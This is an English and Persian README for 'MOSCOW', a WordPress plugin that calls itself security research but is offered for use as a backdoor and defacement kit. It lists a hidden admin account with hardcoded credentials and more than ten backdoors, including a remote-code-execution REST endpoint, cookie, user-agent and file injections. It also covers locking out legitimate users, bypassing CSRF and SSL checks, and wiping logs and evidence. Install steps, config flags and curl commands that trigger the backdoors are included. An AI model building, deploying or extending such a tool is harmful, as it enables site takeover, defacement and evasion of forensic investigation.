Moscow

🇷🇺 MOSCOW - Advanced Security Plugin

[![Version](https://img.shields.io/badge/version-3.0.0-red.svg?style=for-the-badge&logo=github&labelColor=000000)](https://github.com/here-is-leo/MOSCOW) [![License](https://img.shields.io/badge/license-GPLv2-blue.svg?style=for-the-badge&logo=gnu&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/blob/main/LICENSE) [![PHP](https://img.shields.io/badge/PHP-7.4+-purple.svg?style=for-the-badge&logo=php&labelColor=000000)](https://php.net) [![WordPress](https://img.shields.io/badge/WordPress-5.0+-blue.svg?style=for-the-badge&logo=wordpress&labelColor=000000)](https://wordpress.org) [![Status](https://img.shields.io/badge/Status-Stable-brightgreen.svg?style=for-the-badge&labelColor=000000)](https://github.com/here-is-leo/MOSCOW) [![PRs](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=for-the-badge&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/pulls) [![Stars](https://img.shields.io/github/stars/here-is-leo/MOSCOW?style=for-the-badge&color=yellow&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/stargazers) [![Forks](https://img.shields.io/github/forks/here-is-leo/MOSCOW?style=for-the-badge&color=orange&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/network/members)


## 📖 Table of Contents
| 🎯 | 📌 | 🎯 | 📌 | |:---:|:---|:---:|:---| | 🇷🇺 | [About MOSCOW](#-about-moscow) | ⚡ | [Key Features](#-key-features) | | 🛠️ | [Installation](#️-installation) | 🔑 | [Backdoor Credentials](#-backdoor-credentials) | | 🚨 | [Features Breakdown](#-features-breakdown) | 🎨 | [Deface Page Preview](#-deface-page-preview) | | 📁 | [File Structure](#-file-structure) | ⚙️ | [Configuration](#️-configuration) | | 🧪 | [Testing](#-testing) | 📊 | [Statistics](#-statistics) | | 🤝 | [Contributing](#-contributing) | 📜 | [License](#-license) | | 📞 | [Contact](#-contact) | 🏆 | [Credits](#-credits) |
## 🇷🇺 About MOSCOW

[!WARNING] ⚠️ MOSCOW is a cutting-edge WordPress security research plugin developed by HERE IS LEO. It demonstrates advanced attack vectors, persistence mechanisms, and evasion techniques used in modern cyber threats. This tool is designed for security researchers, penetration testers, and cybersecurity students to understand WordPress vulnerabilities in a controlled environment.

🎯 Key Capabilities

🔐
Hidden Admin Backdoor
Secret administrator with full privileges		 🕵️
Advanced Stealth
Hidden from WordPress admin interface		 📡
Multi-Backdoor System
10+ entry points for persistent access
🔄
Self-Destruct Mechanism
Auto-removal after 50 hours		 💀
Deface Page
Professional page with countdown		 🧹
Trace Cleaning
Removes logs, DB entries, evidence
⏰
Cron Job Persistence
Scheduled tasks for access		 🌐
REST API Backdoor
Hidden endpoint for RCE		 🔑
Cookie Authentication
Login via special cookie bypass
📁
Remote File Manager
Browse, edit, delete remotely		 💉
Code Injection
Theme + core file injection		 🛡️
Security Bypass
Disables WP security features
## ⚡ Key Features
Feature Description Status
🔐 Hidden Admin User Creates here_is_leo with admin privileges ✅
🕵️ Stealth Mode Plugin hidden from admin plugin list ✅
🚫 User Deactivation Disables all regular users except backdoor admin ✅
💀 Deface Page Professional “HACKED BY HERE IS LEO” page ✅
⏱️ Countdown Timer 50-hour countdown with 40 security facts ✅
🔄 Self-Destruct Auto-removes after 50 hours ✅
📁 .htaccess Backdoor Injects backdoor into .htaccess file ✅
⚙️ wp-config Backdoor Injects backdoor into wp-config.php ✅
🎨 Theme Backdoor Injects code into theme functions.php ✅
🗄️ Database Backdoor Creates custom database table ✅
🌐 REST API Backdoor Hidden endpoint /wp-json/moscow/v1/backdoor ✅
🤖 User-Agent Backdoor Access via MOSCOW-BOT User-Agent ✅
🍪 Cookie Backdoor Authentication via moscow_auth cookie ✅
🔗 URL Parameter Backdoor Access via moscow_admin parameter ✅
🚪 Nonce Bypass Bypasses WordPress nonce verification ✅
🛡️ CSRF Bypass Bypasses WordPress CSRF protection ✅
🔓 SSL Verify Bypass Disables SSL verification for C2 communication ✅
🧹 Trace Cleaning Removes all logs and evidence ✅
🗑️ Plugin File Deletion Deletes plugin files on deactivation ✅
## 🛠️ Installation
📥 Method 1: Manual Upload ```bash 1️⃣ Download moscow.php 2️⃣ Upload to /wp-content/plugins/ 3️⃣ Activate from WordPress Admin Panel 4️⃣ Site automatically redirects to deface page ```
📥 Method 2: Git Clone ```bash git clone https://github.com/here-is-leo/MOSCOW.git cd MOSCOW cp moscow.php /path/to/wordpress/wp-content/plugins/ ```
📥 Method 3: FTP Upload ```bash 1️⃣ Connect to server via FTP 2️⃣ Navigate to /wp-content/plugins/ 3️⃣ Upload moscow.php 4️⃣ Activate plugin ```
## 🔑 Backdoor Credentials
| 🔐 Credential | 📌 Value | |:---|:---| | **Admin URL** | `your-site.com/wp-admin` | | **Username** | `here_is_leo` | | **Password** | `HEREISLEO@2026` | | **Email** | `leo@here-is-leo.com` | | **Display Name** | `HERE IS LEO` | | 🚪 Backdoor | 🔗 Path | |:---|:---| | **Backdoor URL** | `your-site.com/moscow` | | **Emergency Backdoor** | `your-site.com/lapsus-admin` | | **REST API Endpoint** | `/wp-json/moscow/v1/backdoor` | | **Cookie Auth** | `moscow_auth` | | **User-Agent** | `MOSCOW-BOT` | | **URL Parameter** | `?moscow_admin=MD5_HASH` |
## 🚨 Features Breakdown
1️⃣ 🔐 Hidden Admin Backdoor - Creates a hidden administrator user `here_is_leo` - User is hidden from the admin user list - Custom authentication bypass with multiple methods - Email: `leo@here-is-leo.com`
2️⃣ 🕵️ Stealth Mode - Plugin hidden from WordPress plugin list - Admin user hidden from user list - Database options obfuscated - Activity logs automatically cleared - User activity hidden
3️⃣ 📡 Multi-Backdoor System | Backdoor Type | Location / Method | |:---|:---| | **Admin Backdoor** | Hidden admin user `here_is_leo` | | **.htaccess Backdoor** | `.htaccess` file injection | | **wp-config Backdoor** | `wp-config.php` injection | | **Theme Backdoor** | `functions.php` injection | | **Database Backdoor** | Custom database table | | **REST API Backdoor** | `/wp-json/moscow/v1/backdoor` | | **User-Agent Backdoor** | `MOSCOW-BOT` User-Agent | | **Cookie Backdoor** | `moscow_auth` cookie | | **Emergency Cookie** | `moscow_emergency` cookie | | **URL Parameter** | `?moscow_admin=MD5` |
4️⃣ 🔄 Self-Destruct System - Activates after 50 hours (configurable) - Deactivates the plugin automatically - Deletes all plugin files - Cleans all database traces - Cleans all logs - Removes injected code from theme files - Restores site to normal state - Shows detailed destruction report
5️⃣ 🧹 Trace Cleaning - Clears `debug.log` files - Removes `error_log` files - Deletes PHP error logs - Cleans database transients - Removes all plugin options - Deletes custom database tables - Removes injected code from theme files - Cleans `.htaccess` injections - Cleans `wp-config.php` injections
6️⃣ 💀 Deface Page - Professional "HACKED BY HERE IS LEO" design - 50-hour countdown timer with start/stop functionality - 40 security facts (25 jokes + 15 tips) - Mobile-responsive design with neon glow effects - Auto-fact rotation every 2 minutes - Destructive timer animation at zero
## 🎨 Deface Page Preview 
╔═══════════════════════════════════════════╗
║              ╔══════════════╗             ║
║              ║    MOSCOW    ║             ║
║              ╚══════════════╝             ║
║                                           ║
║   🔥 HACKED BY HERE IS LEO                ║
║      (CYBER ACTIVIST)                     ║
║                                           ║
║   ⚠️  HACKED? IMPROVE YOUR SECURITY.      ║
║   💀 YOUR SYSTEM IS COMPROMISED           ║
║                                           ║
║   🎖️ DEDICATION TO ALL HACKFORCE :)       ║
║                                           ║
║   // DEFACED //                           ║
║                                           ║
║   ╔═════════════════════════════════╗    ║
║   ║    ⏱️ COUNTDOWN TO DESTRUCTION   ║    ║
║   ║         50:00:00                 ║    ║
║   ╚═════════════════════════════════╝    ║
║                                           ║
║   🔐 123456 is not a password...          ║
║                                           ║
║   [ ► START ]                             ║
╚═══════════════════════════════════════════╝
## 📁 File Structure 
MOSCOW/
├── 📄 README.md                    # Complete documentation
├── 📄 LICENSE                      # GPLv2 License
├── 📄 .gitignore                   # Git ignore rules
├── 📄 moscow.php                   # Main plugin (WordPress)
├── 📄 Moscow.html                  # Deface page standalone demo
└── 📁 screenshots/                 # Screenshots directory
    ├── 🖼️ deface-preview.png       # Deface page preview
    └── 🖼️ admin-panel.png          # Admin panel screenshot
## ⚙️ Configuration

All configuration is managed through the MOSCOW_Config class at the top of moscow.php:

🔑 Change Backdoor Credentials ```php const ADMIN_USERNAME = 'here_is_leo'; // Change this const ADMIN_PASSWORD = 'HEREISLEO@2026'; // Change this const ADMIN_EMAIL = 'leo@here-is-leo.com'; // Change this const ADMIN_DISPLAY = 'HERE IS LEO'; // Change this ```
🔗 Change Backdoor URL ```php const BACKDOOR_URL = 'moscow'; // Change this ```
⏰ Change Self-Destruct Time ```php const SELF_DESTRUCT_HOURS = 50; // Change this (hours) ```
🎛️ Toggle Features On/Off ```php const ENABLE_REDIRECT = true; // Enable/disable redirect const ENABLE_DEFACED_PAGE = true; // Show deface page const ENABLE_USER_DEACTIVATE = true; // Disable regular users const ENABLE_SELF_DESTRUCT = true; // Enable self-destruct const ENABLE_BACKDOORS = true; // Enable additional backdoors const HIDE_PLUGIN = true; // Hide from plugin list const HIDE_ADMIN_USER = true; // Hide admin user const CLEAR_LOGS = true; // Auto-clear logs const CLEAR_TRACES_ON_DEACTIVATE = true; // Clean traces on deactivation const BYPASS_NONCE = true; // Bypass nonce verification const BYPASS_CSRF = true; // Bypass CSRF protection const BYPASS_SSL_VERIFY = true; // Disable SSL verification const INJECT_THEME_CODE = true; // Inject into theme files const INJECT_WPCONFIG = true; // Inject into wp-config.php const INJECT_HTACCESS = true; // Inject into .htaccess const INJECT_DATABASE = true; // Inject into database const INFECT_ALL_FILES = false; // Spread to all files (dangerous!) ```
## 🧪 Testing
💻 Local Testing Environment ```bash # Using Docker docker run -p 8080:80 wordpress:latest # Using XAMPP # Place files in htdocs/wordpress/ # Using LocalWP # Create new WordPress site ```
🎨 Demo Page ```bash # Open in browser open Moscow.html # Or host with Python python3 -m http.server 8000 ```
🚪 Testing Backdoors ```bash # Test admin login https://your-site.com/wp-admin Username: here_is_leo Password: HEREISLEO@2026 # Test deface page https://your-site.com/moscow # Test REST API backdoor curl https://your-site.com/wp-json/moscow/v1/backdoor?cmd=phpinfo() # Test User-Agent backdoor curl -A "MOSCOW-BOT" https://your-site.com/?cmd=phpinfo() # Test URL parameter backdoor https://your-site.com/?moscow_admin=MD5_HASH ```
## 📊 Statistics 
╔═══════════════════════════════════════════╗
║           📊 PROJECT STATISTICS           ║
╠═══════════════════════════════════════════╣
║   🎯 Total Methods          :  45+        ║
║   🚪 Backdoor Types         :  10+        ║
║   🕵️ Stealth Features       :  8+         ║
║   💉 Injection Points       :  7+         ║
║   🪝 WordPress Hooks        :  15+        ║
║   🔍 WordPress Filters      :  8+         ║
║   📚 Security Facts         :  40         ║
║   ⏰ Self-Destruct Time     :  50 Hours   ║
║   🐘 PHP Version Required   :  7.4+       ║
║   🌐 WordPress Required     :  5.0+       ║
╚═══════════════════════════════════════════╝
## 🤝 Contributing
🍴
Fork		 🌿
Branch		 💻
Commit		 📤
Push		 🔄
PR

We welcome contributions! Please follow these steps:

  1. 🍴 Fork the repository
  2. 🌿 Create a feature branch (git checkout -b feature/AmazingFeature)
  3. 💻 Commit your changes (git commit -m 'Add some AmazingFeature')
  4. 📤 Push to the branch (git push origin feature/AmazingFeature)
  5. 🔄 Open a Pull Request
## 📜 License **GNU General Public License v2.0** — see the [LICENSE](/Moscow/LICENSE) file for details.
### ✅ You are free to: - Use the software for research and education - Modify and adapt the code - Distribute copies of the software ### ⚠️ You must: - Include the original copyright notice - Disclose the source code - State any changes made
## 📞 Contact
🐙
GitHub
[@here-is-leo](https://github.com/here-is-leo)		 🌐
Website
[here-is-leo.ir](https://here-is-leo.ir)		 📧
Email
leo@here-is-leo.com
## 🏆 Credits
👨‍💻
Developed by
HERE IS LEO		 🎖️
Special Thanks
HACKFORCE Community		 💡
Inspired by
Cyber Security Research



> ### ⚠️ **REMEMBER: WITH GREAT POWER COMES GREAT RESPONSIBILITY** ⚠️ > *Use this tool only for educational purposes*
**Built with ❤️ by HERE IS LEO**
# 🇷🇺 مسکو - پلاگین امنیتی پیشرفته
[![نسخه](https://img.shields.io/badge/version-3.0.0-red.svg?style=for-the-badge&logo=github&labelColor=000000)](https://github.com/here-is-leo/MOSCOW) [![مجوز](https://img.shields.io/badge/license-GPLv2-blue.svg?style=for-the-badge&logo=gnu&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/blob/main/LICENSE) [![PHP](https://img.shields.io/badge/PHP-7.4+-purple.svg?style=for-the-badge&logo=php&labelColor=000000)](https://php.net) [![وردپرس](https://img.shields.io/badge/WordPress-5.0+-blue.svg?style=for-the-badge&logo=wordpress&labelColor=000000)](https://wordpress.org) [![وضعیت](https://img.shields.io/badge/Status-Stable-brightgreen.svg?style=for-the-badge&labelColor=000000)](https://github.com/here-is-leo/MOSCOW) [![PRs](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=for-the-badge&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/pulls) [![ستاره‌ها](https://img.shields.io/github/stars/here-is-leo/MOSCOW?style=for-the-badge&color=yellow&labelColor=000000)](https://github.com/here-is-leo/MOSCOW/stargazers)


---
## 📖 فهرست مطالب
| 🎯 | 📌 | 🎯 | 📌 | |:---:|:---|:---:|:---| | 🇷🇺 | [درباره مسکو](#-درباره-مسکو) | ⚡ | [ویژگی‌های کلیدی](#-ویژگی‌های-کلیدی) | | 🛠️ | [نصب](#️-نصب) | 🔑 | [اطلاعات ورود بک‌دور](#-اطلاعات-ورود-بک‌دور) | | 🚨 | [جزئیات قابلیت‌ها](#-جزئیات-قابلیت‌ها) | 🎨 | [پیش‌نمایش صفحه دیفیس](#-پیش‌نمایش-صفحه-دیفیس) | | 📁 | [ساختار فایل‌ها](#-ساختار-فایل‌ها) | ⚙️ | [تنظیمات](#️-تنظیمات) | | 🧪 | [تست](#-تست) | 📊 | [آمار](#-آمار) | | 🤝 | [مشارکت](#-مشارکت) | 📜 | [مجوز](#-مجوز) | | 📞 | [ارتباط](#-ارتباط) | 🏆 | [قدردانی](#-قدردانی) |
---
## 🇷🇺 درباره مسکو
> [!WARNING] > ⚠️ **مسکو** یک **پلاگین پیشرفته تحقیقاتی امنیتی وردپرس** است که توسط **HERE IS LEO** توسعه یافته است. این ابزار بردارهای حمله پیشرفته، مکانیسم‌های ماندگاری و تکنیک‌های فرار مورد استفاده در تهدیدات سایبری مدرن را به نمایش می‌گذارد. این ابزار برای **محققان امنیتی، تست‌کنندگان نفوذ و دانشجویان امنیت سایبری** طراحی شده است تا آسیب‌پذیری‌های وردپرس را در **محیط‌های کنترل‌شده** درک کنند. ### 🎯 قابلیت‌های کلیدی
🔐
بک‌دور ادمین مخفی
کاربر مخفی با دسترسی کامل		 🕵️
مخفی‌کاری پیشرفته
پنهان از رابط ادمین وردپرس		 📡
سیستم چندبک‌دوری
بیش از ۱۰ نقطه ورود
🔄
مکانیسم خودتخریبی
حذف خودکار بعد از ۵۰ ساعت		 💀
صفحه دیفیس
صفحه حرفه‌ای با تایمر		 🧹
پاک‌سازی ردپا
حذف لاگ‌ها و شواهد
⏰
ماندگاری کرون
وظایف زمان‌بندی شده		 🌐
بک‌دور REST API
آدرس مخفی برای RCE		 🔑
احراز هویت کوکی
ورود با کوکی خاص
📁
مدیریت فایل از راه دور
مرور، ویرایش، حذف		 💉
تزریق کد
تزریق در قالب + هسته		 🛡️
دور زدن امنیت
غیرفعال‌سازی ویژگی‌های امنیتی
---
## ⚡ ویژگی‌های کلیدی
| ویژگی | توضیح | وضعیت | |:---|:---|:---:| | **🔐 کاربر ادمین مخفی** | ایجاد کاربر `here_is_leo` با دسترسی ادمین | ✅ | | **🕵️ حالت مخفی‌کاری** | پنهان‌سازی پلاگین از لیست ادمین | ✅ | | **🚫 غیرفعال‌سازی کاربران** | غیرفعال‌سازی تمام کاربران به جز ادمین بک‌دور | ✅ | | **💀 صفحه دیفیس** | صفحه حرفه‌ای "هک شده توسط HERE IS LEO" | ✅ | | **⏱️ تایمر شمارش معکوس** | شمارش معکوس ۵۰ ساعته با ۴۰ فکت امنیتی | ✅ | | **🔄 خودتخریبی** | حذف خودکار بعد از ۵۰ ساعت | ✅ | | **📁 بک‌دور .htaccess** | تزریق بک‌دور در فایل `.htaccess` | ✅ | | **⚙️ بک‌دور wp-config** | تزریق بک‌دور در فایل `wp-config.php` | ✅ | | **🎨 بک‌دور قالب** | تزریق کد در فایل `functions.php` قالب | ✅ | | **🗄️ بک‌دور دیتابیس** | ایجاد جدول سفارشی در دیتابیس | ✅ | | **🌐 بک‌دور REST API** | آدرس مخفی `/wp-json/moscow/v1/backdoor` | ✅ | | **🤖 بک‌دور User-Agent** | دسترسی از طریق User-Agent `MOSCOW-BOT` | ✅ | | **🍪 بک‌دور کوکی** | احراز هویت از طریق کوکی `moscow_auth` | ✅ | | **🔗 بک‌دور پارامتر URL** | دسترسی از طریق پارامتر `moscow_admin` | ✅ | | **🚪 دور زدن Nonce** | دور زدن تأیید Nonce وردپرس | ✅ | | **🛡️ دور زدن CSRF** | دور زدن محافظت CSRF وردپرس | ✅ | | **🔓 دور زدن SSL** | غیرفعال‌سازی بررسی SSL برای ارتباط با C2 | ✅ | | **🧹 پاک‌سازی ردپا** | حذف تمام لاگ‌ها و شواهد | ✅ | | **🗑️ حذف فایل پلاگین** | حذف فایل‌های پلاگین در زمان غیرفعال‌سازی | ✅ |
---
## 🛠️ نصب
📥 روش ۱: آپلود دستی ```bash 1️⃣ فایل moscow.php را دانلود کنید 2️⃣ در مسیر /wp-content/plugins/ آپلود کنید 3️⃣ از پیشخوان وردپرس فعال کنید 4️⃣ سایت به طور خودکار به صفحه دیفیس هدایت می‌شود ```
📥 روش ۲: کلون از گیت ```bash git clone https://github.com/here-is-leo/MOSCOW.git cd MOSCOW cp moscow.php /path/to/wordpress/wp-content/plugins/ ```
📥 روش ۳: آپلود با FTP ```bash 1️⃣ از طریق FTP به سرور متصل شوید 2️⃣ به مسیر /wp-content/plugins/ بروید 3️⃣ فایل moscow.php را آپلود کنید 4️⃣ پلاگین را فعال کنید ```
---
## 🔑 اطلاعات ورود بک‌دور
| 🔐 اطلاعات | 📌 مقدار | |:---|:---| | **آدرس ادمین** | `your-site.com/wp-admin` | | **نام کاربری** | `here_is_leo` | | **رمز عبور** | `HEREISLEO@2026` | | **ایمیل** | `leo@here-is-leo.com` | | **نام نمایشی** | `HERE IS LEO` | | 🚪 بک‌دور | 🔗 مسیر | |:---|:---| | **آدرس بک‌دور** | `your-site.com/moscow` | | **بک‌دور اضطراری** | `your-site.com/lapsus-admin` | | **آدرس REST API** | `/wp-json/moscow/v1/backdoor` | | **احراز هویت کوکی** | `moscow_auth` | | **User-Agent** | `MOSCOW-BOT` | | **پارامتر URL** | `?moscow_admin=MD5_HASH` |
---
## 🚨 جزئیات قابلیت‌ها
۱️⃣ 🔐 بک‌دور ادمین مخفی - ایجاد کاربر ادمین مخفی `here_is_leo` - پنهان‌سازی کاربر از لیست کاربران ادمین - احراز هویت سفارشی با روش‌های مختلف - ایمیل: `leo@here-is-leo.com`
۲️⃣ 🕵️ حالت مخفی‌کاری - پنهان‌سازی پلاگین از لیست پلاگین‌های وردپرس - پنهان‌سازی کاربر ادمین از لیست کاربران - مبهم‌سازی گزینه‌های دیتابیس - پاک‌سازی خودکار لاگ‌های فعالیت - مخفی‌سازی فعالیت کاربر
۳️⃣ 📡 سیستم چندبک‌دوری | نوع بک‌دور | مکان / روش | |:---|:---| | **بک‌دور ادمین** | کاربر مخفی `here_is_leo` | | **بک‌دور .htaccess** | تزریق در فایل `.htaccess` | | **بک‌دور wp-config** | تزریق در فایل `wp-config.php` | | **بک‌دور قالب** | تزریق در فایل `functions.php` | | **بک‌دور دیتابیس** | جدول سفارشی دیتابیس | | **بک‌دور REST API** | `/wp-json/moscow/v1/backdoor` | | **بک‌دور User-Agent** | User-Agent `MOSCOW-BOT` | | **بک‌دور کوکی** | کوکی `moscow_auth` | | **بک‌دور اضطراری** | کوکی `moscow_emergency` | | **پارامتر URL** | `?moscow_admin=MD5` |
۴️⃣ 🔄 سیستم خودتخریبی - فعال شدن بعد از ۵۰ ساعت (قابل تنظیم) - غیرفعال‌سازی خودکار پلاگین - حذف تمام فایل‌های پلاگین - پاک‌سازی تمام ردپاهای دیتابیس - پاک‌سازی تمام لاگ‌ها - حذف کدهای تزریق شده از فایل‌های قالب - بازگرداندن سایت به حالت عادی - نمایش گزارش کامل خودتخریبی
۵️⃣ 🧹 پاک‌سازی ردپا - پاک‌سازی فایل‌های `debug.log` - حذف فایل‌های `error_log` - حذف لاگ‌های خطای PHP - پاک‌سازی کش‌های دیتابیس - حذف تمام تنظیمات پلاگین - حذف جداول سفارشی دیتابیس - حذف کدهای تزریق شده از فایل‌های قالب - پاک‌سازی تزریق‌های `.htaccess` - پاک‌سازی تزریق‌های `wp-config.php`
۶️⃣ 💀 صفحه دیفیس - طراحی حرفه‌ای "هک شده توسط HERE IS LEO" - تایمر شمارش معکوس ۵۰ ساعته با قابلیت شروع/توقف - ۴۰ فکت امنیتی (۲۵ طعنه + ۱۵ پند) - طراحی واکنش‌گرا برای موبایل با افکت‌های نئون - چرخش خودکار فکت‌ها هر ۲ دقیقه - انیمیشن تخریبی تایمر در لحظه صفر شدن
---
## 🎨 پیش‌نمایش صفحه دیفیس
```text ╔═══════════════════════════════════════════╗ ║ ╔══════════════╗ ║ ║ ║ مسکو ║ ║ ║ ╚══════════════╝ ║ ║ ║ ║ 🔥 هک شده توسط HERE IS LEO ║ ║ (فعال سایبری) ║ ║ ║ ║ ⚠️ هک شدی؟ امنیتت رو بهبود بده. ║ ║ 💀 سیستم شما در معرض خطر است ║ ║ ║ ║ 🎖️ تقدیم به تمام اعضای HACKFORCE :) ║ ║ ║ ║ // DEFACED // ║ ║ ║ ║ ╔═════════════════════════════════╗ ║ ║ ║ ⏱️ شمارش معکوس تا نابودی ║ ║ ║ ║ 50:00:00 ║ ║ ║ ╚═════════════════════════════════╝ ║ ║ ║ ║ 🔐 123456 رمز عبور نیست... ║ ║ ║ ║ [ ► شروع ] ║ ╚═══════════════════════════════════════════╝ ```
---
## 📁 ساختار فایل‌ها
```text MOSCOW/ ├── 📄 README.md # مستندات کامل ├── 📄 LICENSE # مجوز GPLv2 ├── 📄 .gitignore # قوانین نادیده‌گیری گیت ├── 📄 moscow.php # فایل اصلی پلاگین (وردپرس) ├── 📄 Moscow.html # دموی صفحه دیفیس └── 📁 screenshots/ # دایرکتوری اسکرین‌شات‌ها ├── 🖼️ deface-preview.png # پیش‌نمایش صفحه دیفیس └── 🖼️ admin-panel.png # اسکرین‌شات پیشخوان ادمین ```
---
## ⚙️ تنظیمات
تمام تنظیمات از طریق کلاس `MOSCOW_Config` در بالای فایل `moscow.php` مدیریت می‌شود:
🔑 تغییر اطلاعات بک‌دور ```php const ADMIN_USERNAME = 'here_is_leo'; // این را تغییر دهید const ADMIN_PASSWORD = 'HEREISLEO@2026'; // این را تغییر دهید const ADMIN_EMAIL = 'leo@here-is-leo.com'; // این را تغییر دهید const ADMIN_DISPLAY = 'HERE IS LEO'; // این را تغییر دهید ```
🔗 تغییر آدرس بک‌دور ```php const BACKDOOR_URL = 'moscow'; // این را تغییر دهید ```
⏰ تغییر زمان خودتخریبی ```php const SELF_DESTRUCT_HOURS = 50; // این را تغییر دهید (ساعت) ```
🎛️ فعال/غیرفعال کردن قابلیت‌ها ```php const ENABLE_REDIRECT = true; // فعال/غیرفعال کردن ریدایرکت const ENABLE_DEFACED_PAGE = true; // نمایش صفحه دیفیس const ENABLE_USER_DEACTIVATE = true; // غیرفعال‌سازی کاربران عادی const ENABLE_SELF_DESTRUCT = true; // فعال‌سازی خودتخریبی const ENABLE_BACKDOORS = true; // فعال‌سازی بک‌دورهای اضافی const HIDE_PLUGIN = true; // مخفی‌سازی از لیست پلاگین‌ها const HIDE_ADMIN_USER = true; // مخفی‌سازی کاربر ادمین const CLEAR_LOGS = true; // پاک‌سازی خودکار لاگ‌ها const CLEAR_TRACES_ON_DEACTIVATE = true; // پاک‌سازی ردپا در غیرفعال‌سازی const BYPASS_NONCE = true; // دور زدن Nonce const BYPASS_CSRF = true; // دور زدن CSRF const BYPASS_SSL_VERIFY = true; // غیرفعال‌سازی بررسی SSL const INJECT_THEME_CODE = true; // تزریق در فایل‌های قالب const INJECT_WPCONFIG = true; // تزریق در wp-config.php const INJECT_HTACCESS = true; // تزریق در .htaccess const INJECT_DATABASE = true; // تزریق در دیتابیس const INFECT_ALL_FILES = false; // پخش در تمام فایل‌ها (خطرناک!) ```
---
## 🧪 تست
💻 محیط تست محلی ```bash # با استفاده از Docker docker run -p 8080:80 wordpress:latest # با استفاده از XAMPP # فایل‌ها را در htdocs/wordpress/ قرار دهید # با استفاده از LocalWP # یک سایت وردپرس جدید ایجاد کنید ```
🎨 صفحه دمو ```bash # در مرورگر باز کنید open Moscow.html # یا با Python هاست کنید python3 -m http.server 8000 ```
🚪 تست بک‌دورها ```bash # تست ورود ادمین https://your-site.com/wp-admin Username: here_is_leo Password: HEREISLEO@2026 # تست صفحه دیفیس https://your-site.com/moscow # تست بک‌دور REST API curl https://your-site.com/wp-json/moscow/v1/backdoor?cmd=phpinfo() # تست بک‌دور User-Agent curl -A "MOSCOW-BOT" https://your-site.com/?cmd=phpinfo() # تست بک‌دور پارامتر URL https://your-site.com/?moscow_admin=MD5_HASH ```
---
## 📊 آمار
```text ╔═══════════════════════════════════════════╗ ║ 📊 آمار پروژه ║ ╠═══════════════════════════════════════════╣ ║ 🎯 تعداد کل متدها : 45+ ║ ║ 🚪 تعداد بک‌دورها : 10+ ║ ║ 🕵️ قابلیت‌های مخفی‌کاری : 8+ ║ ║ 💉 نقاط تزریق : 7+ ║ ║ 🪝 هوک‌های وردپرس : 15+ ║ ║ 🔍 فیلترهای وردپرس : 8+ ║ ║ 📚 فکت‌های امنیتی : 40 ║ ║ ⏰ زمان خودتخریبی : ۵۰ ساعت ║ ║ 🐘 نسخه PHP مورد نیاز : ۷.۴+ ║ ║ 🌐 نسخه وردپرس مورد نیاز : ۵.۰+ ║ ╚═══════════════════════════════════════════╝ ```
---
## 🤝 مشارکت
🍴
فورک		 🌿
شاخه		 💻
کامیت		 📤
پوش		 🔄
PR
ما از مشارکت شما استقبال می‌کنیم! لطفاً این مراحل را دنبال کنید: 1. 🍴 فورک کنید 2. 🌿 ایجاد شاخه ویژگی (`git checkout -b feature/AmazingFeature`) 3. 💻 کامیت تغییرات (`git commit -m 'Add some AmazingFeature'`) 4. 📤 پوش به شاخه (`git push origin feature/AmazingFeature`) 5. 🔄 باز کردن درخواست ادغام
---
## 📜 مجوز **GNU General Public License v2.0** — برای جزئیات بیشتر فایل [LICENSE](/Moscow/LICENSE) را مشاهده کنید.
### ✅ شما آزاد هستید: - از نرم‌افزار برای پژوهش و آموزش استفاده کنید - کد را تغییر و تطبیق دهید - نسخه‌هایی از نرم‌افزار توزیع کنید ### ⚠️ شما باید: - اطلاعیه حق کپی رایت اصلی را حفظ کنید - کد منبع را افشا کنید - تغییرات اعمال شده را ذکر کنید
---
## 📞 ارتباط
🐙
گیت‌هاب
[@here-is-leo](https://github.com/here-is-leo)		 🌐
وب‌سایت
[here-is-leo.ir](https://here-is-leo.ir)		 📧
ایمیل
leo@here-is-leo.com
---
## 🏆 قدردانی
👨‍💻
توسعه‌دهنده
HERE IS LEO		 🎖️
تشکر ویژه
جامعه HACKFORCE		 💡
الهام‌گرفته از
تحقیقات امنیت سایبری
---



> ### ⚠️ **به خاطر داشته باش: قدرت بزرگ مسئولیت بزرگ می‌آورد** ⚠️ > *از این ابزار فقط برای اهداف آموزشی استفاده کنید*
**ساخته شده با ❤️ توسط HERE IS LEO**
This site is open source. Improve this page.